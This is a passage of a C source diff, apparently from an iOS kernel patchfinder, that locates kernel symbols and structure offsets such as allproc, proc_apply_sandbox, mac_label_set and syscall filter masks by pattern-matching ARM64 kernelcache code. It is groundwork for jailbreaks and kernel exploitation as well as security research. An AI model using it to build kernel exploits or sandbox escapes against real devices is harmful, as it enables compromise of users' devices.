XPF_ASSERT(cpu_ttep_pre); + + uint64_t addAddr = cpu_ttep_pre + 8; + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, addAddr); +} + +static uint64_t xpf_find_kernel_el(void) +{ + uint64_t start_first_cpu = xpf_item_resolve("kernelSymbol.start_first_cpu"); + + uint32_t inst = pfsec_read32(gXPF.kernelTextSection, start_first_cpu + 16); + if (inst == 0xd5384240 /* msr x0, CurrentEL */) { + return 2; + } + + return 1; +} + +static uint64_t xpf_find_fatal_error_fmt(void) +{ + PFSection *textSec = (gXPF.kernelAMFITextSection ?: gXPF.kernelTextSection); + PFSection *stringSec = (gXPF.kernelAMFIStringSection ?: gXPF.kernelStringSection); + if (!gXPF.kernelIsArm64e && !gXPF.kernelIsFileset) { + textSec = gXPF.kernelPLKTextSection; + stringSec = gXPF.kernelPrelinkTextSection; + } + + PFStringMetric *amfiErrorMetric = pfmetric_string_init("AMFI: %s: Failed to allocate memory for fatal error message, cannot produce a crash reason.\n"); + __block uint64_t amfiErrorAddr = 0; + pfmetric_run(stringSec, amfiErrorMetric, ^(uint64_t vmaddr, bool *stop) { + amfiErrorAddr = vmaddr; + *stop = true; + }); + + if (!amfiErrorAddr) { + textSec = gXPF.kernelTextSection; + stringSec = gXPF.kernelStringSection; + + pfmetric_run(stringSec, amfiErrorMetric, ^(uint64_t vmaddr, bool *stop) { + amfiErrorAddr = vmaddr; + *stop = true; + }); + } + pfmetric_free(amfiErrorMetric); + XPF_ASSERT(amfiErrorAddr); + + __block uint64_t fatal_error_fmt = 0; + PFXrefMetric *amfiErrorXrefMetric = pfmetric_xref_init(amfiErrorAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(textSec, amfiErrorXrefMetric, ^(uint64_t vmaddr, bool *stop) { + fatal_error_fmt = pfsec_find_function_start(textSec, vmaddr); + *stop = true; + }); + pfmetric_free(amfiErrorXrefMetric); + return fatal_error_fmt; +} + +static uint64_t xpf_find_kalloc_data_external(void) +{ + PFSection *sec = (gXPF.kernelAMFITextSection ?: gXPF.kernelTextSection); + if (!gXPF.kernelIsArm64e && !gXPF.kernelIsFileset) { + sec = gXPF.kernelPLKTextSection; + } + + uint64_t fatal_error_fmt = xpf_item_resolve("kernelSymbol.fatal_error_fmt"); + XPF_ASSERT(fatal_error_fmt); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + uint64_t kallocDataExternalBlAddr = pfsec_find_next_inst(sec, fatal_error_fmt, 20, blAny, blAnyMask); + if (!kallocDataExternalBlAddr) { + sec = gXPF.kernelTextSection; + kallocDataExternalBlAddr = pfsec_find_next_inst(sec, fatal_error_fmt, 20, blAny, blAnyMask); + } + XPF_ASSERT(kallocDataExternalBlAddr); + + uint32_t kallocDataExternalBl = pfsec_read32(sec, kallocDataExternalBlAddr); + + uint64_t kallocDataExternal = 0; + arm64_dec_b_l(kallocDataExternalBl, kallocDataExternalBlAddr, &kallocDataExternal, NULL); + XPF_ASSERT(kallocDataExternal); + + return pfsec_arm64_resolve_stub(sec, kallocDataExternal); +} + +static uint64_t xpf_find_kfree_data_external(void) +{ + PFSection *sec = (gXPF.kernelAMFITextSection ?: gXPF.kernelTextSection); + if (!gXPF.kernelIsArm64e && !gXPF.kernelIsFileset) { + sec = gXPF.kernelPLKTextSection; + } + + uint64_t fatal_error_fmt = xpf_item_resolve("kernelSymbol.fatal_error_fmt"); + XPF_ASSERT(fatal_error_fmt); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + + uint32_t ret = gXPF.kernelIsArm64e ? 0xd65f0fff : 0xd65f03c0; + uint64_t fatal_error_fmt_end = pfsec_find_next_inst(sec, fatal_error_fmt, 0, ret, 0xffffffff); + if (!fatal_error_fmt_end) { + sec = gXPF.kernelTextSection; + fatal_error_fmt_end = pfsec_find_next_inst(sec, fatal_error_fmt, 0, ret, 0xffffffff); + } + XPF_ASSERT(fatal_error_fmt_end); + + uint32_t movW1_0x400_Inst = 0, movW1_0x400_InstMask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(1), OPT_UINT64(0x400), OPT_UINT64(0), &movW1_0x400_Inst, &movW1_0x400_InstMask); + uint64_t kfree_data_external_pre = pfsec_find_prev_inst(sec, fatal_error_fmt_end, 25, movW1_0x400_Inst, movW1_0x400_InstMask); + + uint64_t kfree_data_external = 0; + int decRet = arm64_dec_b_l(pfsec_read32(sec, kfree_data_external_pre+4), kfree_data_external_pre+4, &kfree_data_external, NULL); + XPF_ASSERT(decRet == 0); + + return pfsec_arm64_resolve_stub(sec, kfree_data_external); +} + +static uint64_t xpf_find_allproc(void) +{ + PFStringMetric *shutdownwaitMetric = pfmetric_string_init("shutdownwait"); + XPF_ASSERT(shutdownwaitMetric); + + __block uint64_t shutdownwaitString = 0; + pfmetric_run(gXPF.kernelStringSection, shutdownwaitMetric, ^(uint64_t vmaddr, bool *stop) { + shutdownwaitString = vmaddr; + *stop = true; + }); + pfmetric_free(shutdownwaitMetric); + XPF_ASSERT(shutdownwaitString); + + PFXrefMetric *shutdownwaitXrefMetric = pfmetric_xref_init(shutdownwaitString, XREF_TYPE_MASK_REFERENCE); + __block uint64_t beforeLdrAddr = 0; + pfmetric_run(gXPF.kernelTextSection, shutdownwaitXrefMetric, ^(uint64_t vmaddr, bool *stop) { + beforeLdrAddr = vmaddr; + *stop = true; + }); + pfmetric_free(shutdownwaitXrefMetric); + XPF_ASSERT(beforeLdrAddr); + + arm64_register destinationReg; + int decRet = arm64_dec_add_imm(pfsec_read32(gXPF.kernelTextSection, beforeLdrAddr), &destinationReg, NULL, NULL); + XPF_ASSERT(decRet == 0); + + if (ARM64_REG_GET_NUM(destinationReg) != 3) { + // If the string is not loaded into x3, we need to advance until the mov x3, + + uint32_t targetInsn = 0, targetMask = 0; + arm64_gen_mov_reg(ARM64_REG_X(3), destinationReg, &targetInsn, &targetMask); + + uint64_t curAddr = beforeLdrAddr; + for (int i = 0; i < 200; i++) { + uint32_t curInsn = pfsec_read32(gXPF.kernelTextSection, curAddr); + + if ((curInsn & targetMask) == targetInsn) { + beforeLdrAddr = curAddr; + break; + } + + // If we find an unconditional branch, follow it + uint64_t bTarget = 0; + bool isBl = false; + if (arm64_dec_b_l(curInsn, curAddr, &bTarget, &isBl) == 0) { + if (!isBl) { + curAddr = bTarget; + continue; + } + } + + curAddr += 4; + } + } + + uint32_t ldrAny = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAny, &ldrAnyMask); + + uint64_t ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, beforeLdrAddr, 20, ldrAny, ldrAnyMask); + XPF_ASSERT(ldrAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr); +} + +static uint64_t xpf_find_task_crashinfo_release_ref(void) +{ + uint32_t movzW0_0 = 0, movzW0_0Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(0), OPT_UINT64(0), OPT_UINT64(0), &movzW0_0, &movzW0_0Mask); + + PFStringMetric *corpseReleasedMetric = pfmetric_string_init("Corpse released, count at %d\n"); + __block uint64_t corpseReleasedStringAddr = 0; + pfmetric_run(gXPF.kernelOSLogSection, corpseReleasedMetric, ^(uint64_t vmaddr, bool *stop){ + corpseReleasedStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(corpseReleasedMetric); + + if (!corpseReleasedStringAddr) { + // iOS 14 does not have the above log string + corpseReleasedMetric = pfmetric_string_init("\"corpse in flight count over-release\""); + pfmetric_run(gXPF.kernelStringSection, corpseReleasedMetric, ^(uint64_t vmaddr, bool *stop){ + corpseReleasedStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(corpseReleasedMetric); + XPF_ASSERT(corpseReleasedStringAddr); + + // iOS 14 also does not have the movz after this panic, so we look for a ret instruction before (as task_crashinfo_release_ref should be the first xref). + PFXrefMetric *corseReleasedXrefMetric = pfmetric_xref_init(corpseReleasedStringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t task_crashinfo_release_ref = 0; + pfmetric_run(gXPF.kernelTextSection, corseReleasedXrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 20, 0xd65f03c0, 0xffffffff)) { + task_crashinfo_release_ref = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + pfmetric_free(corseReleasedXrefMetric); + + return task_crashinfo_release_ref; + } + + PFXrefMetric *corseReleasedXrefMetric = pfmetric_xref_init(corpseReleasedStringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t task_crashinfo_release_ref = 0; + pfmetric_run(gXPF.kernelTextSection, corseReleasedXrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_find_next_inst(gXPF.kernelTextSection, vmaddr, 20, movzW0_0, movzW0_0Mask)) { + task_crashinfo_release_ref = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + pfmetric_free(corseReleasedXrefMetric); + + return task_crashinfo_release_ref; +} + +static uint64_t xpf_find_task_collect_crash_info(void) +{ + uint64_t task_crashinfo_release_ref = xpf_item_resolve("kernelSymbol.task_crashinfo_release_ref"); + XPF_ASSERT(task_crashinfo_release_ref); + + uint32_t movzW1_0x4000 = 0x52880001, movzW1_0x4000Mask = 0xffffffff; + __block uint64_t task_collect_crash_info = 0; + PFXrefMetric *task_crashinfo_release_refXrefMetric = pfmetric_xref_init(task_crashinfo_release_ref, XREF_TYPE_MASK_CALL); + pfmetric_run(gXPF.kernelTextSection, task_crashinfo_release_refXrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 0x50, movzW1_0x4000, movzW1_0x4000Mask)) { + task_collect_crash_info = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + + if (!task_collect_crash_info) { + // On iOS 18, this call is followed by a mov w??, #0 + pfmetric_run(gXPF.kernelTextSection, task_crashinfo_release_refXrefMetric, ^(uint64_t vmaddr, bool *stop) { + uint64_t imm = 0; + arm64_register reg; + if (arm64_dec_mov_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr + 4), ®, &imm, NULL, NULL) == 0) { + if (imm == 0 && ARM64_REG_IS_W(reg)) { + task_collect_crash_info = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + } + }); + } + + pfmetric_free(task_crashinfo_release_refXrefMetric); + XPF_ASSERT(task_collect_crash_info); + + // Handle outlining on iOS 18.4+ + // Bit hacky, but with a bit of wishful thinking it might stay like this + PFXrefMetric *task_collect_crash_infoOutlineMetric = pfmetric_xref_init(task_collect_crash_info, XREF_TYPE_MASK_JUMP); + pfmetric_run(gXPF.kernelTextSection, task_collect_crash_infoOutlineMetric, ^(uint64_t vmaddr, bool *stop) { + if ((vmaddr < task_collect_crash_info) && (vmaddr >= (task_collect_crash_info - (5 * sizeof(uint32_t))))) { + task_collect_crash_info = vmaddr - (2 * sizeof(uint32_t)); + *stop = true; + } + }); + pfmetric_free(task_collect_crash_infoOutlineMetric); + + return task_collect_crash_info; +} + +static uint64_t xpf_find_task_itk_space(void) +{ + __block uint64_t task_collect_crash_info = xpf_item_resolve("kernelSymbol.task_collect_crash_info"); + + uint32_t movzW2_1 = 0, movzW2_1Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(2), OPT_UINT64(1), OPT_UINT64(0), &movzW2_1, &movzW2_1Mask); + + __block uint64_t itk_space = 0; + PFXrefMetric *task_collect_crash_infoXrefMetric = pfmetric_xref_init(task_collect_crash_info, XREF_TYPE_MASK_CALL); + __block uint64_t task_collect_crash_infoXref = 0; + + pfmetric_run(gXPF.kernelTextSection, task_collect_crash_infoXrefMetric, ^(uint64_t vmaddr, bool *stop) { + if ((pfsec_read32(gXPF.kernelTextSection, vmaddr - 4) & movzW2_1Mask) != movzW2_1) return; + + task_collect_crash_infoXref = vmaddr; + *stop = true; + }); + pfmetric_free(task_collect_crash_infoXrefMetric); + + XPF_ASSERT(task_collect_crash_infoXref); + + // At vmaddr + 4 there is a CBZ to some other place + // At that place, the next CBZ leads to the place where the actual reference we want is + + uint64_t cbz1Addr = task_collect_crash_infoXref + 4; + bool isCbnz = false; + uint64_t target1 = 0; + int decRet = arm64_dec_cb_n_z(pfsec_read32(gXPF.kernelTextSection, cbz1Addr), cbz1Addr, &isCbnz, NULL, &target1); + XPF_ASSERT(decRet == 0); + if (isCbnz) { + // If this is not a cbz and rather a cbnz, treat the instruction after it as the cbz target + target1 = cbz1Addr + 4; + } + + uint32_t cbzAnyInst = 0, cbzAnyMask = 0; + arm64_gen_cb_n_z(OPT_BOOL_NONE, ARM64_REG_ANY, OPT_UINT64_NONE, &cbzAnyInst, &cbzAnyMask); + + uint64_t cbz2Addr = pfsec_find_next_inst(gXPF.kernelTextSection, target1, 0x20, cbzAnyInst, cbzAnyMask); + + uint64_t target2 = 0; + decRet = arm64_dec_cb_n_z(pfsec_read32(gXPF.kernelTextSection, cbz2Addr), cbz2Addr, &isCbnz, NULL, &target2); + XPF_ASSERT(decRet == 0); + + if (isCbnz) { + // If this is not a cbz and rather a cbnz, treat the instruction after it as the cbz target + target2 = cbz2Addr + 4; + } + + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + + // At this place, the first ldr that doesn't read from SP has the reference we want + uint64_t ldrAddr = target2; + uint64_t ldrEndAddr = ldrAddr + (20 * sizeof(uint32_t)); + while (true) { + ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, ldrAddr, (ldrEndAddr - ldrAddr) / 4, ldrAnyInst, ldrAnyMask); + arm64_register addrReg; + uint64_t imm = 0; + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, ldrAddr), NULL, &addrReg, &imm, NULL, NULL); + if (ARM64_REG_GET_NUM(addrReg) != ARM64_REG_NUM_SP) { + itk_space = imm; + break; + } + ldrAddr += 4; + } + + return itk_space; +} + +static uint64_t xpf_find_vm_reference(uint32_t idx) +{ + uint32_t inst = 0x120a6d28; // and w8, w9, #0xffc3ffff + PFPatternMetric *patternMetric = pfmetric_pattern_init(&inst, NULL, sizeof(inst), sizeof(uint32_t)); + + __block uint64_t andAddr = 0; + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + andAddr = vmaddr; + *stop = true; + }); + pfmetric_free(patternMetric); + + if (!andAddr) { + inst = 0x120a6d08; // and w8, w8, #0xffc3ffff (iOS 17) + patternMetric = pfmetric_pattern_init(&inst, NULL, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + andAddr = vmaddr; + *stop = true; + }); + pfmetric_free(patternMetric); + } + + XPF_ASSERT(andAddr); + + uint32_t ldrAny = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAny, &ldrAnyMask); + uint64_t toCheck = andAddr; + uint64_t ldrAddr = 0; + for (int i = 0; i < idx; i++) { + ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 20, ldrAny, ldrAnyMask); + toCheck = ldrAddr + 4; + } + + XPF_ASSERT(ldrAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr);; +} + +static uint64_t xpf_find_vm_map_pmap(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("userspace has control access to a kernel map %p through task %p @%s:%d"); + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!stringAddr) { + // Slightly different on iOS 14 + stringMetric = pfmetric_string_init("\"userspace has control access to a \" \"kernel map %p through task %p\""); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + } + + XPF_ASSERT(stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t xrefAddr = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + xrefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(xrefMetric); + + XPF_ASSERT(xrefAddr); + + uint32_t inst[2] = { 0 }; + uint32_t mask[2] = { 0 }; + arm64_gen_ldr_imm(0, gXPF.kernelIsArm64e ? LDR_STR_TYPE_PRE_INDEX : LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &inst[0], &mask[0]); + if (gXPF.kernelIsArm64e) { + arm64_gen_cb_n_z(OPT_BOOL_NONE, ARM64_REG_ANY, OPT_UINT64_NONE, &inst[1], &mask[1]); + } + + __block uint64_t vm_map_pmap = 0; + PFPatternMetric *patternMetric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + pfmetric_run_in_range(gXPF.kernelTextSection, xrefAddr, xrefAddr - (100 * sizeof(uint32_t)), patternMetric, ^(uint64_t vmaddr, bool *stop) { + if (arm64_dec_adr_p(pfsec_read32(gXPF.kernelTextSection, vmaddr - 4), vmaddr - 4, NULL, NULL, NULL) != 0) { + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr), NULL, NULL, &vm_map_pmap, NULL, NULL); + *stop = true; + } + }); + pfmetric_free(patternMetric); + + return vm_map_pmap; +} + +static uint64_t xpf_find_proc_struct_size(void) +{ + if (strcmp(gXPF.darwinVersion, "22.0.0") >= 0) { + // iOS >=16 + PFStringMetric *procTaskStringMetric = pfmetric_string_init("proc_task"); + __block uint64_t procTaskStringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, procTaskStringMetric, ^(uint64_t vmaddr, bool *stop) { + procTaskStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(procTaskStringMetric); + XPF_ASSERT(procTaskStringAddr); + + PFXrefMetric *procTaskXrefMetric = pfmetric_xref_init(procTaskStringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t procTaskStringXref = 0; + pfmetric_run(gXPF.kernelTextSection, procTaskXrefMetric, ^(uint64_t vmaddr, bool *stop) { + procTaskStringXref = vmaddr; + *stop = true; + }); + pfmetric_free(procTaskXrefMetric); + XPF_ASSERT(procTaskStringXref); + + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + uint64_t ldrAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, procTaskStringXref, 0x20, ldrAnyInst, ldrAnyMask); + XPF_ASSERT(ldrAddr); + + uint64_t proc_struct_sizeAddr = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr); + return pfsec_read64(gXPF.kernelDataSection, proc_struct_sizeAddr); + } + else { + // iOS <=15 + + PFStringMetric *procStringMetric = pfmetric_string_init("proc"); + __block uint64_t procStringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, procStringMetric, ^(uint64_t vmaddr, bool *stop) { + procStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(procStringMetric); + XPF_ASSERT(procStringAddr); + + uint64_t mask = 0x0000ffffffffffff; + PFPatternMetric *patternMetric = pfmetric_pattern_init(&procStringAddr, &mask, sizeof(procStringAddr), sizeof(uint64_t)); + __block uint64_t proc_struct_size = 0; + pfmetric_run(gXPF.kernelBootdataInit, patternMetric, ^(uint64_t vmaddr, bool *stop) { + uint64_t candidate = pfsec_read64(gXPF.kernelBootdataInit, vmaddr + 8); + if (candidate != 0) { + proc_struct_size = candidate; + *stop = true; + } + }); + + return proc_struct_size; + } +} + +static uint64_t xpf_find_perfmon_dev_open(void) +{ + PFStringMetric *perfmonMetric = pfmetric_string_init("perfmon: attempt to open unsupported source: 0x%x @%s:%d"); + __block uint64_t perfmonString = 0; + pfmetric_run(gXPF.kernelStringSection, perfmonMetric, ^(uint64_t vmaddr, bool *stop) { + perfmonString = vmaddr; + *stop = true; + }); + pfmetric_free(perfmonMetric); + XPF_ASSERT(perfmonString); + + PFXrefMetric *perfmonXrefMetric = pfmetric_xref_init(perfmonString, XREF_TYPE_MASK_REFERENCE); + __block uint64_t perfmonXref = 0; + pfmetric_run(gXPF.kernelTextSection, perfmonXrefMetric, ^(uint64_t vmaddr, bool *stop) { + perfmonXref = vmaddr; + *stop = true; + }); + pfmetric_free(perfmonXrefMetric); + XPF_ASSERT(perfmonXref); + + return pfsec_find_function_start(gXPF.kernelTextSection, perfmonXref); +} + +static uint64_t xpf_find_perfmon_devices(void) +{ + uint64_t perfmon_dev_open = xpf_item_resolve("kernelSymbol.perfmon_dev_open"); + XPF_ASSERT(perfmon_dev_open); + + uint32_t movWAny_0x28Inst = 0, movWAny_0x28Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_ANY, OPT_UINT64(0x28), OPT_UINT64_NONE, &movWAny_0x28Inst, &movWAny_0x28Mask); + + // The "add" of the "adrp, add" we want is either one instruction before this or three after it + uint64_t movAddr = pfsec_find_next_inst(gXPF.kernelTextSection, perfmon_dev_open, 0, movWAny_0x28Inst, movWAny_0x28Mask); + XPF_ASSERT(movAddr); + + uint64_t perfmon_devices = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, movAddr - 4); + if (!perfmon_devices) { + perfmon_devices = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, movAddr + 12); + } + + return perfmon_devices; +} + +static uint64_t xpf_find_vn_kqfilter(void) +{ + PFStringMetric *invalidKnoteMetric = pfmetric_string_init("Invalid knote filter on a vnode! @%s:%d"); + __block uint64_t invalidKnoteString = 0; + pfmetric_run(gXPF.kernelStringSection, invalidKnoteMetric, ^(uint64_t vmaddr, bool *stop) { + invalidKnoteString = vmaddr; + *stop = true; + }); + pfmetric_free(invalidKnoteMetric); + XPF_ASSERT(invalidKnoteString); + + PFXrefMetric *invalidKnoteXrefMetric = pfmetric_xref_init(invalidKnoteString, XREF_TYPE_MASK_REFERENCE); + __block uint64_t invalidKnoteXref = 0; + pfmetric_run(gXPF.kernelTextSection, invalidKnoteXrefMetric, ^(uint64_t vmaddr, bool *stop) { + invalidKnoteXref = vmaddr; + *stop = true; + }); + pfmetric_free(invalidKnoteXrefMetric); + XPF_ASSERT(invalidKnoteXref); + + uint64_t ref_start = pfsec_find_function_start(gXPF.kernelTextSection, invalidKnoteXref); + XPF_ASSERT(ref_start); + + return pfsec_find_function_start(gXPF.kernelTextSection, ref_start - 0x4); +} + +static uint64_t xpf_find_cdevsw(void) +{ + uint64_t vn_kqfilter = xpf_item_resolve("kernelSymbol.vn_kqfilter"); + XPF_ASSERT(vn_kqfilter); + + uint32_t movW2Inst = 0, movW2Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(2), OPT_UINT64(0x20), OPT_UINT64(0), &movW2Inst, &movW2Mask); + uint64_t before_bl_spec_kqfilterAddr = pfsec_find_next_inst(gXPF.kernelTextSection, vn_kqfilter, 100, movW2Inst, movW2Mask); + XPF_ASSERT(before_bl_spec_kqfilterAddr); + uint64_t bl_spec_kqfilterAddr = before_bl_spec_kqfilterAddr + 4; + + uint64_t spec_kqfilter = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, bl_spec_kqfilterAddr), bl_spec_kqfilterAddr, &spec_kqfilter, NULL); + + uint32_t movW10_0x70 = 0, mov10_0x70Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(10), OPT_UINT64(0x70), OPT_UINT64(0), &movW10_0x70, &mov10_0x70Mask); + uint64_t movAddr = pfsec_find_next_inst(gXPF.kernelTextSection, spec_kqfilter, 0, movW10_0x70, mov10_0x70Mask); + XPF_ASSERT(movAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, movAddr + 0x8); +} + +static uint64_t xpf_find_proc_apply_sandbox(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("Sandbox failed to revoke host port (%d) for pid %d"); + __block uint64_t sandboxFailedStringAddr = 0; + pfmetric_run(gXPF.kernelOSLogSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + sandboxFailedStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(sandboxFailedStringAddr); + + __block uint64_t proc_apply_sandbox = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(sandboxFailedStringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop){ + proc_apply_sandbox = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + return proc_apply_sandbox; +} + +static uint64_t xpf_find_mac_label_set(void) +{ + uint64_t proc_apply_sandbox = xpf_item_resolve("kernelSymbol.proc_apply_sandbox"); + + uint32_t blAnyInst = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAnyInst, &blAnyMask); + + uint64_t firstBLAddr = pfsec_find_next_inst(gXPF.kernelTextSection, proc_apply_sandbox, 100, blAnyInst, blAnyMask); + XPF_ASSERT(firstBLAddr); + uint64_t secondBLAddr = pfsec_find_next_inst(gXPF.kernelTextSection, firstBLAddr+4, 100, blAnyInst, blAnyMask); + XPF_ASSERT(secondBLAddr); + + uint64_t mac_label_set = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, secondBLAddr), secondBLAddr, &mac_label_set, NULL); + return mac_label_set; +} + +static uint64_t xpf_find_proc_get_syscall_filter_mask_size(void) +{ + PFSection *textSec = (gXPF.kernelSandboxTextSection ?: gXPF.kernelTextSection); + PFSection *stringSec = (gXPF.kernelSandboxStringSection ?: gXPF.kernelStringSection); + if (!gXPF.kernelIsArm64e && !gXPF.kernelIsFileset) { + textSec = gXPF.kernelPLKTextSection; + stringSec = gXPF.kernelPrelinkTextSection; + } + + PFStringMetric *stringMetric = pfmetric_string_init("\"invalid # of syscalls from xnu\" @%s:%d"); + __block uint64_t syscallMasksStringAddr = 0; + pfmetric_run(stringSec, stringMetric, ^(uint64_t vmaddr, bool *stop) { + syscallMasksStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!syscallMasksStringAddr) { + // iOS 15.0 betas 1-3 + stringMetric = pfmetric_string_init("\"invalid # of syscalls from xnu!\" @%s:%d"); + pfmetric_run(stringSec, stringMetric, ^(uint64_t vmaddr, bool *stop) { + syscallMasksStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + + if (!syscallMasksStringAddr && gXPF.kernelStringSection && !gXPF.kernelSandboxStringSection) { + // On A11 15.x it is in kernelStringSection, on A10 and A9 it is not, on 16.x it is not + stringMetric = pfmetric_string_init("\"invalid # of syscalls from xnu\" @%s:%d"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + syscallMasksStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!syscallMasksStringAddr) { + // iOS 15.0 betas 1-3 + stringMetric = pfmetric_string_init("\"invalid # of syscalls from xnu!\" @%s:%d"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + syscallMasksStringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + + if (syscallMasksStringAddr) { + textSec = gXPF.kernelTextSection; + stringSec = gXPF.kernelStringSection; + } + } + XPF_ASSERT(syscallMasksStringAddr); + + PFXrefMetric *stringXrefMetric = pfmetric_xref_init(syscallMasksStringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t invalidSyscallLogRefAddr = 0; + pfmetric_run(textSec, stringXrefMetric, ^(uint64_t vmaddr, bool *stop) { + invalidSyscallLogRefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringXrefMetric); + XPF_ASSERT(invalidSyscallLogRefAddr); + + uint32_t adrpAnyInst = 0, adrpAnyMask = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpAnyInst, &adrpAnyMask); + uint64_t prevAdrpAddr = pfsec_find_prev_inst(textSec, invalidSyscallLogRefAddr-8, 20, adrpAnyInst, adrpAnyMask); + XPF_ASSERT(prevAdrpAddr); + + PFXrefMetric *logBranchXrefMetric = pfmetric_xref_init(prevAdrpAddr, XREF_TYPE_MASK_JUMP); + __block uint64_t logBranchXrefAddr = 0; + pfmetric_run(textSec, logBranchXrefMetric, ^(uint64_t vmaddr, bool *stop) { + logBranchXrefAddr = vmaddr; + *stop = false; + }); + pfmetric_free(logBranchXrefMetric); + XPF_ASSERT(logBranchXrefAddr); + + 